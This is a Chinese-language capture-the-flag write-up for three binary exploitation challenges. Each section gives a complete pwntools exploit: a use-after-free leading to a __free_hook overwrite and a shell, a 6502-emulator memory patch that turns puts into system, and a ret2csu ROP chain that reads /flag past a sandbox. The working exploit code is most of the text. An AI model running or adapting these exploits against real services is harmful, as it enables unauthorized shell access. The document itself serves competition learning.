# 1.Pwn-Auto_Coffee_machine

# 1. 查看程序

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

没有开启 pie

想要进入 admin 里要输入一个密码,我们输入的密码会被加密一下:

所以我们要输入 lwuv"ryp"kv 字符串每个 ASCII码减-2 (最后输入的是 just pwn it )然后就可以进入 admin

在 admin 内有两个函数 replenish()change_default()

主要漏洞存在于进入 admin 模式的 change_default 函数,replenish 函数是有对 left_coffee 进行复制的:

copy_left_coffee 没有对 left_coffee 进行复制,导致存在 UAF 漏洞:

所以思路是先通过 sell 两个 id 1 的 coffee ,然后通过 change_default 修改释放的 chunk 的 fd 指针指向 copy_left_coffee ,但是这里会执行 update(2) ,即 copy_left_coffee 没有空的地方,导致无法直接执行 replenish 申请到 copy_left_coffee 附近的 chunk 。所以直接 sell 7 个 id 2 的 coffee,再执行 replenish 申请 7 个 id 2 的 coffee,第 7 个 chunk 就是 copy_left_coffee 附近的 chunk。接下来通过 change 修改 copy_left_coffee 里的一个指针指向 coffee_list ,修改其值为 free_got ,通过 show_list 就可以泄露 libc 地址,在通过 change 修改 free_hook 为 system,并写入一个 chunk “/bin/sh” 字符串,sell 该 chunk 即可获取 shell。

n
from pwn import*
#context.log_level = 'debug'
o= remote("172.10.0.9",8888)
libc = ELF("./libc-2.31.so")
def sell(id1):
    o.sendlineafter(b">>>", b'1')
    o.sendlineafter(b"input the id of what coffee you want to buy\n", str(id1))
    o.sendlineafter(b"Do you want to add something?Y/N\n", b'N')
def show_list():
    o.sendlineafter(b">>>", b'2')
def admin():
    o.sendlineafter(b">>>", b'4421')
    o.sendlineafter(b"please input the admin password\n", b"just pwn it")
def repl(id1):
    o.sendlineafter(b">>>", b'1')
    o.sendlineafter(b">>>", str(id1).encode())
def change(id1, index, content):
    o.sendlineafter(b">>>", b'2')
    o.sendlineafter(b">>>", str(id1).encode())
    o.sendlineafter(b">>>", str(index).encode())
    o.sendafter(b"input your content\n", content)
def back():
    o.sendlineafter(b">>>", b'3')
sell(1)
sell(1)
admin()
change(1, 2, p64(0x4063C0))
back()
for i in range(7):
    sell(2)
admin()
for i in range(7):
    repl(2)
change(2, 7, p64(0x4062F0))
change(1, 1, p64(0x406018))
back()
show_list()
o.recvuntil(b'1.')
free_addr = u64(o.recv(6)+b"\x00\x00")
log.info(hex(free_addr))
libc_base = free_addr - libc.sym['free']
log.info(hex(libc_base))
sys_addr = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
admin()
change(2, 7, p64(free_hook))
change(1, 1, p64(sys_addr))
change(2, 1, b"/bin/sh")
back()
sell(2)
o.interactive()

# 2.6502

n
from pwn import *
#p=process("./6502_proccessor")
context(os='linux', arch='amd64', log_level='debug')
p = remote('172.10.0.7', 10002)
libc = ELF('./libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
system_addr = libc.sym['system']
puts_addr = libc.sym['puts']
log.info("system:"+hex(system_addr))
log.info("puts:"+hex(puts_addr))
offset= p64((puts_addr - system_addr))
log.info(offset)
lda = 0xAD
adc = 0x69
sta = 0x8D
borrow = [1,1] # 01 10 11
li = [p8(lda), p16((-8462)&0xFFFF),p8(adc), p8((-offset[0])&0xFF),p8(sta), p16((-8462)&0xFFFF),
    p8(lda), p16((-8462+1)&0xFFFF),p8(adc), p8((-offset[1]-borrow[1])&0xFF),p8(sta), p16((-8462+1)&0xFFFF),
    p8(lda), p16((-8462+2)&0xFFFF),p8(adc), p8((-offset[2]-borrow[0])&0xFF),p8(sta), p16((-8462+2)&0xFFFF),]
# gdb.attach(p)
# pause()
payload = b''.join(li)
p.sendlineafter('code length: \n', str(len(payload)).encode())
# gdb.attach(p)
# pause()
p.sendafter('code: \n', payload)
# gdb.attach(p)
# pause()
p.sendline('/bin/sh\x00')
p.interactive()

# 3.Pwn-silent

没有开 canary,意味着可以进行栈溢出

ida 查看,发现 read 函数能导致溢出

这里开启了沙盒:

没有限制执行 orw 的系统调用,所以利用 orw 获得 flag

n
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('172.10.0.8', '9999')
#p = process('./silent')
libc = ELF('./libc-2.27.so')
context.binary = './silent'
binary = context.binary
rop = ROP([binary])
stdout = binary.sym['stdout']
io_stdout= libc.sym['_IO_2_1_stdout_']
def csu(sys, a=0, b=0, c=0):
    global io_stdout
    offset = libc.sym[sys]-io_stdout
    io_stdout = libc.sym[sys]
    
    rop.ret2csu(edi=0, rsi=1, rdx=2, rbp=stdout+0x3d, rbx=offset)
    rop.call(0x4007E8)# add [rbp-0x3d], ebx
    
    rop.ret2csu(call=stdout, edi=a, rsi=b, rdx=c)
# gdb.attach(p)
# pause()
rop.raw(b'1'*64+p64(0))
# read 0x1000
rop.ret2csu(edi=0, rsi=0x601300, rdx=0x1000, call=0x600FE0)
# rop.call(0x400700)
rop.migrate(0x601340)
payload = rop.chain()
print(hex(len(payload)))
p.send(payload)
# gdb.attach(p)
# pause()
rop = ROP([binary])
rop.raw(b'/flag'.ljust(0x40, b'\00'))
csu('open', 0x601300)
csu('read', 3, 0x602000, 100)
csu('puts', 0x602000)
csu('exit', 0)
p.send(rop.chain())
p.interactive()